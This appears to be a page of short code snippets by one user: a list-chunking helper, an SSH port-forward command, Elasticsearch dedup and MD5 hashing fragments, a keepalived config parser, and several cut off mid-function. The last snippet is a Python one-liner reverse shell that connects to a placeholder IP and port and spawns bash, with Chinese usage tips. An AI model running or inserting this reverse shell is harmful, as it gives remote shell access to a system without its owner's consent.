thuhak

def cache(iterable, count: int):
    """
    range(10), count=3 -> [0,1,2],[3,4,5],[6,7,8],[9]
    """
    assert(count > 0)
    saved = []
    index = 0
    for item in iterable:
        if index < count:
            saved.append(item)

thuhak

ssh REMOTE_SERVER -fNL local_socket:host:port

thuhak

#!/usr/bin/env python3.6

# A description and analysis of this code can be found at
# https://alexmarquardt.com/2018/07/23/deduplicating-documents-in-elasticsearch/

from argparse import ArgumentParser
import hashlib
from elasticsearch import Elasticsearch

thuhak

from hashlib import md5
from functools import partial

def calc_md5(some_file):
    mymd5 = md5()
    try:
        with open(some_file, 'rb') as f:
            data = iter(partial(f.read, 8192), b'')
            for d in data:
                mymd5.update(d)

thuhak

import re

def _get_keepalive_vip(conf='/etc/keepalived/keepalived.conf'):
    result = []
    try:
        with open(conf) as f:
            pat = re.compile(r'virtual_ipaddress(?:\s|\t\|\n)*\{(.*?)\}', re.DOTALL)
            keepalive = f.read()
        match = pat.findall(keepalive)
        for d in match:

thuhak

python -c "import socket,pty,os;s=socket.socket(2,1); s.connect(('IP',PORT)); fd = s.fileno();os.dup2(fd,0); os.dup2(fd,1); os.dup2(fd,2); pty.spawn('/bin/bash')"

• ip替换成源主机ip
• port是源主机监听端口
• 使用exit退出shell，不要使用
• 通过stty -echo intr ^F修改终端配置